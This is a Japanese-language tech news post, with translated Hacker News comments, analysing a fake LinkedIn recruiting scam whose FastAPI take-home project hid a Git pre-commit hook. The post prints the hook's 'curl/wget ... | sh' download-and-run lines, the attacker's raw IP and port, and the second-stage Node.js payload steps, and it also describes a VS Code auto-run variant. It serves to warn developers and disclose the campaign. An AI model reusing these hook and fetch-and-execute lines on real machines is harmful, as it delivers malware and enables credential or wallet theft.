2 ポイント 投稿者 GN⁺ 2 시간 전 | 1件のコメント | WhatsAppで共有
  • LinkedInで月額 $10,000〜15,000 のリモートPython開発者職を提示した偽の採用担当者が、通常のFastAPI課題に見せかけたZIPファイルを送り、Git作業の過程でマルウェアがインストールされるよう仕組んでいた
  • リポジトリの .git/hooks には、OS別のリモートペイロードをひそかに実行する pre-commit フック が隠されており、課題PDFのGit作業は応募者にそれを実行させるための仕掛けだった
  • Linuxペイロードは ~/Documents に第2段階スクリプトをダウンロードして nohup で実行した後、Node.js と依存関係、および難読化された parser.js をインストールしてバックグラウンドで動作させる
  • リクエストの id=402 の値を変えると別のスクリプトが返され、package.json にはクリップボードアクセス用の clipboardy や Ethereum 開発環境の hardhat などが含まれていたが、最終目的は確認されていない
  • 攻撃者は公開FastAPIリポジトリに悪意あるディレクトリだけを付け加えており、別の亜種ではVSCodeでフォルダを開くだけでコマンドが実行された。外部プロジェクトを扱う前に 隠しディレクトリと自動実行設定 を確認する必要がある

良すぎる採用オファー

  • LinkedInで届いたPython開発者の採用提案は、月額 $10,000〜15,000 を支払うリモート優先の契約職で、その後正社員へ転換する形だった
  • 面談前から高額報酬を提示しており、インド基準ではかなり大きな金額だったことが最初の警告サインだった
  • 採用に使われた会社はY Combinatorのスタートアップであることが確認できたが、その規模の予算を使う会社なら通常はもっと体系的な採用プロセスを持っているはずだという疑念が残った
  • 履歴書を送るとすぐに承認され、Google Drive経由でZIPアーカイブと課題指示PDFを受け取った
  • PDFは既存コードベースの改善、アーキテクチャ提案、Git作業などを求めており、見た目には普通の評価文書に近かった

FastAPIプロジェクトに隠されたGitフック

  • 圧縮ファイルにはSQLAlchemyを使う平凡な FastAPIバックエンド が入っており、requirements.txt にもタイポスクワッティングや明白な悪意あるパッケージは見つからなかった
  • 隠し項目を確認するため tree -a を実行すると、.git/hooks の下に複数のGitフックがあらかじめ構成されていた
  • pre-commit スクリプトは uname -s でOSを判別した後、同じサーバーからプラットフォーム別のペイロードをダウンロードして実行する
    • macOSでは curl .../task/mac?id=402 | sh を実行する
    • Linuxでは wget .../task/linux?id=402 | sh を実行する
    • Windows系では curl .../task/windows?id=402 | cmd を実行する
  • 出力はすべて /dev/null に送り、プロセスをバックグラウンドで動かして 実行の痕跡をユーザーから隠していた
  • ドメインではなく 45.61.164.38:5777 という生のIPアドレスを直接使っていたため、悪意ある挙動がいっそう目立っていた

Linuxの多段階ペイロード

  • 最初のLinuxスクリプトは ~/Documentstokenlinux.npl をダウンロードし、tokenlinux.sh に名前を変えて実行権限を付与する
  • 続いて nohup bash でスクリプトをバックグラウンド実行し、ターミナル終了やログアウト後もプロセスが動き続けるようにする
  • 第2段階スクリプトは次の処理をひそかに実行する
    • Node.jsのインストール とシステムパスの設定
    • parser.jspackage.json のダウンロード
    • 必要なnpm依存関係のインストール
    • parser.jsnohup node で実行し、ログを parser.log に記録
  • parser.js は手動分析が難しいほど強く難読化されており、元のファイルは parser.js に保存されている

被害者ごとの識別の可能性

  • エンドポイントには id=402 パラメータが繰り返し渡されており、この値を変えるとまったく別のスクリプトが返された
  • 攻撃者が応募者ごとに固有の識別子を割り当て、個別のペイロードを提供していた可能性はあるが、実際の追跡方法は確認できていない
  • 難読化解除のため複数のLLMにコードを入力したが、結果は食い違っていた
    • Claudeは安全制限が働いて分析を拒否した
    • Geminiはスクリプト分析結果を提供した
  • tokenlinux.npl という元の拡張子を検索した結果、より広範に展開された攻撃キャンペーンと関連していることが確認された

疑わしいNode.js依存関係

  • package.json のプロジェクト名は tokendapp で、hardhataxiosbasic-ftpclipboardyjsonwebtokenps-noderequest などを含んでいた
  • バックグラウンド設定作業のために、クリップボードアクセス 用の clipboardy やファイルシステム関連パッケージがなぜ必要なのかは不明だった
  • hardhat はEthereum開発環境だが、Ethereumはプルーフ・オブ・ワーク方式から移行しているため、一般的なマイニング構成だと断定するのは難しい
  • 暗号資産ウォレットを探したり、ローカルのブラウザ拡張機能と相互作用したりする可能性も検討されたが、最終的な悪意ある目的は確認されていない

VSCodeを使う別の亜種

  • 同じ攻撃の別の亜種は、ZIPファイル内に .vscode フォルダ を隠し、そのディレクトリをVSCodeで開いたときにコマンドが実行されるよう構成していた
  • この方式ではGitコマンドやプロジェクトコードを直接実行しなくても、フォルダを開くだけで感染する可能性がある
  • 特定の会社が攻撃に直接関与したのではなく、攻撃者が見つけた会社名を借りて採用提案を正当に見せかけていたことが確認された

公開リポジトリを再利用した偽装

  • git log には攻撃者が作ったプロジェクトではなく、既存開発者たちのコミット履歴がそのまま残っていた
  • 元になったのは公開リポジトリの personal-finance-service だった
  • 攻撃者は通常のFastAPIプロジェクトを複製した後、悪意ある隠しディレクトリ だけを追加して課題用コードベースに偽装していた
  • 正常なコードとクリーンな requirements.txt だけを確認すると、悪意ある挙動を見逃しかねない構造だった

攻撃サーバー調査と限界

  • 攻撃サーバーをNmapでスキャンした結果、開いていたポートは3つで、そのうち2つはバージョン検出に応答しなかった
  • 22番ポートではUbuntuの OpenSSH 9.6p1 が動作していた
  • スキャン当時、このバージョンは公開から1週間あまりしか経っておらず、利用可能な既知のCVEは見つからなかったため、サーバー内部まで調査を広げるのは難しかった
  • マルウェア配布の方法は目立っていたが、サーバー運用のセキュリティは比較的よく保たれており、この時点で追跡は止まった

Git課題が担っていた役割

  • 課題PDFのGit作業は、応募者に最低1回はGitコマンドを実行させて 事前に仕込まれたフックを発動 させるための仕掛けだった
  • 偽の採用担当者は、攻撃が発覚したという連絡を受けた直後にLinkedInアカウントを削除したとみられる
  • 見慣れないプロジェクトを実行したりGitコマンドを実行したりする前に、tree -a のようなツールで .git.vscode などの 隠しディレクトリと自動実行設定 を確認する必要がある

1件のコメント

 
GN⁺ 2 시간 전
Hacker News のコメント
  • この記事を読んで、もっと巧妙な手口でハッキングされていたのだと気づいた。
    数週間前、実在する会社の CTO と面接したが、カメラはオフで訛りも強かったものの、会話内容は自然で、技術にも詳しい人物だった。技術面接では、その会社のオープンソースプロジェクトを修正してほしいと言われ、リポジトリをクローンして開発環境を確認してほしいと頼まれた。
    その後、人事担当者から CTO の病気で面接が延期になったと言われ、数日後にはその担当者の LinkedIn プロフィールも削除されていた。この記事を見て確認したところ、面接中にクローンして実行したリポジトリに マルウェアのペイロード が含まれていた。
    以前、週次ダウンロード数 4,300万回以上の NPM パッケージ を管理していたため、標的にされたようだ。すべてのアカウントに二要素認証を設定し、NPM パッケージもトークンなしで手動デプロイしていたが、ノート PC は初期化して全部入れ直さなければならない

    • スケジュールを確認すると、Calendly で設定された 45分の面接 で、人事担当者が送ってきたリンク経由で CTO を装った人物と実際に 45 分間話していた。
      似た HN の投稿を探したが、詐欺師と Google Meet で通話したという話は見つからなかった
    • 見知らぬプロジェクトをそのままクローンする依頼は断っている。Rails 開発者なので、アプリケーション全体の骨組みなら数分で作れるし、要件だけ渡してくれれば最初から最後まで自分で実装すると伝えている。
      まともな会社ならそれを検討するはずだし、拒否するなら危険を避けられたということだ。今はコード生成に LLM を広く使う時代なので、どんな技術スタックでも可能であるべきだと思う
    • こういう環境では コンテナで隔離した VS Code が必要そうだ
    • 標的型攻撃を受けそうな人たちと同じソーシャルメディアを使っているというのが妙だ。自分のような普通の人に来るのは「無料スピン」や「死にかけのドイツ人億万長者」みたいな詐欺ばかりで、いちばん印象的だったメールの件名は「お前のまんこを壊してしまってごめん」だった
  • 最近は開発者を狙った 北朝鮮発の攻撃 が増えているようだ。何年も続いているこうした手口に加え、「あなたのプロフィールを見たが、協業しないか」という北朝鮮ハッカーからのメールを週に 1 回くらい受け取る。
    プログラミング系 Discord コミュニティでも、参加して数日以内に仕事や協業を持ちかけてくるアカウントが多い。実際の求職者かもしれないが、メッセージの量と類似性が不自然で、活動がほとんどないマイナーな Python ライブラリのコミュニティにまで来るのを見ると、Discord コミュニティ一覧をスクレイピングして無差別に接触しているように思える。
    互いの信頼を悪用する攻撃が増えているのだから、親に言われた通り ネットの見知らぬ人を信用しないこと が必要だ

    • 今では LLM によって自然な基本会話 を作れるので、以前のようにボットだとすぐ見抜くのも難しくなっている
  • 被害者の OS を確認した上でリモートのペイロードをこっそり実行する手口が繰り返されており、先月も似た投稿がトップページに上がっていた。
    https://news.ycombinator.com/item?id=48546294

    • 原文でもそれを明言しており、同じ内容を示す Google 検索結果へのリンクも付いている
  • 生の IP アドレスは強くマルウェアを連想させるが、フックの内容を確認するほど深く調べた被害者なら、そこで疑いをやめることもないだろう。大半の開発者は git commit が悪意ある動作を実行しうる とは思っていないはずで、Git のセキュリティ上の弱点なのか気になる

    • リポジトリを単にクローンしただけでは Git フックは自動では有効化されない。だが今回はクローンではなく ダウンロードしたプロジェクト なので事情が違う
    • どんなツールを使うにせよ、未確認の ダウンロードしたコードを実行すること 自体が今は危険だ
  • いろいろな安全策のせいで、Claude は補助役としてまったく役に立たなかった という話だけが残った

  • 生の IP を使ったのは、ドメインレジストラに身元情報を残さないため、あるいはオンライン上の痕跡を最小限にするためかもしれない

    • だから 生の IP アドレス は不審な活動とよく結び付けられるのだろう
    • そのホスト自体もマルウェアに感染していて、現在 プロキシとして悪用されているシステム である可能性がある
  • スクリーンショットの大半がそのままでは開けず、新しいタブで見る必要があった。
    この詐欺はかなり巧妙なので、すでに多くの求職者が引っかかっていそうだし、記事に出てきた Visual Studio Code プロジェクト はさらに危険に見える。プロジェクトを開くだけでユーザーコードが実行されるなら、明らかなマルウェア経路なのでセキュリティ上の緩和策が必要だ。
    採用サイト側の対応も不十分だ。企業や機関の所属を名乗るなら在籍証明を求めるとか、未検証アカウントからのメッセージには大きな警告を表示するだけでも、多くの詐欺は難しくなるはずだ。今は誰でも好き勝手に会社経歴や学歴を名乗れてしまう

    • Microsoft は、文書を開くと自動実行されていた Word・Excel のマクロマルウェア の歴史を忘れたようだ
    • 画像がすべて GitHub Pages にホストされているので、別の CDN を使うべきかもしれない
  • Hacker News のトップページに本物のハッキング関連の記事が載るのはうれしい

    • Hacker News で言う hacker は別の意味だ。
      http://www.catb.org/jargon/html/H/hacker.html
      プログラム可能なシステムの詳細な構造や限界を探究し、とりわけコンピュータやネットワークの内部動作を深く理解することに喜びを感じる人を指す。また、理論だけにとどまらず、情熱的に、ときには執拗なほどプログラミングする人も意味する
  • LinkedIn が詐欺防止に本気なら、現在の勤務先を記載するときに 会社メールでの認証 を提供できるはずだ。義務化が重いなら、少なくとも正当性を示したい採用担当者が任意で認証できるようにすべきだ

    • LinkedIn は 2023 年にすでにこの機能を追加している(https://news.linkedin.com/2023/april/linkedin-s-new-verifica...)。ただし、実際にメール認証をする人は少ないので、認証がないからといって必ずしも偽物ではない
    • 私や友人たちは何年も偽プロフィールで採用担当者や企業をおびき寄せ、どんな職種が空いていてどんな候補者を探しているのかを把握してきた。JavaScript フレームワークが急増していた時期には、まともな企業・採用担当者と詐欺師を見分けるのに特に役立った。
      今も AI 採用市場 と LLM・自動化への需要を狙って、似たようなことが起きていそうだ
  • こうした攻撃は今後ますます一般的になるだろう。攻撃者は徹底的に調査しており、やり口も悪質だが、技術的な完成度 は認めざるをえず、実際の成功率もかなり高いと思う

    • 内部を見ていく過程は CTF の問題 のようで面白かった。攻撃者のサーバーに脆弱性まであれば、さらに興味深かっただろう
    • 彼らの技術は単に LLM から借りてきたもの かもしれない